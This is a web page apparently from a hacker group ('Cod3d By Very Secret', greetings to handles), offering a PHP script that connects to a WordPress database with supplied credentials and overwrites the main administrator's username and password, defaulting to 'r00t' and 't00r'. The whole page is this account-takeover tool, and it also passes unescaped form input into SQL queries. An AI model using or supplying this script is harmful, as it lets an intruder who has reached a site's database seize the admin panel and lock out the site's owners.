Skip to main content

Wordpress Admin Pass Edit Script

Hello this Open Source PHP By Very Secret

<title>PHP Script ; Change Username & Password</title>
input, select, text {
background-color: white;
border-style: white;
border-width: 1px;
font-family: verdana, arial, sans-serif;
font-size: 11px;
color: green;
padding: 0px;

<table id="table2" style="border-collapse: collapse;" bordercolordark="#666666" bordercolorlight="#c0c0c0" width="100%" 

bgcolor="black" border="1" cellpadding="5" cellspacing="0">

    <td style="font-size: 11px; color: rgb(217, 217, 217); verdana, arial, sans-serif" valign="top" width="100%">


<div align="center">
<center><p><font size="7" color="red"></center></p>
<center><p><font size="6" color="white"></center></p>
<center><p><font size="5" color="white"><br>S.Greetz 2 : > Sup3r-Crystal , Tnt-r00t , KtraZ ,AL-QaTaRi</br></center></p>

|<a href=""></a> | <a href="</a> |<br>
<u>PHP Script To Change username & Password 4 > wordpress</u>



    <body bgcolor="black" text="green">
       <div align="center">  
echo "<FORM method=\"POST\">
host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
database : <INPUT size=\"15\" value=\"wp-\" name=\"database\" type=\"text\"><br>
username : <INPUT size=\"15\" value=\"wp-\" name=\"username\" type=\"text\">
password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
Set A New username 4 Login : <INPUT name=\"admin\" size=\"15\" value=\"r00t\"><br>
Set A New password 4 Login : <INPUT name=\"pwd\" size=\"15\" value=\"t00r\"><br>

<INPUT value=\"change\" name=\"send\" type=\"submit\">
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd       = $_POST['pwd'];
$admin     = $_POST['admin'];

         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);

$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());

echo "<b>root@secure:# ~ Success :now use a new user and pass 2 login in the admin panel</b> ";


<u>Cod3d By Very Secret</u>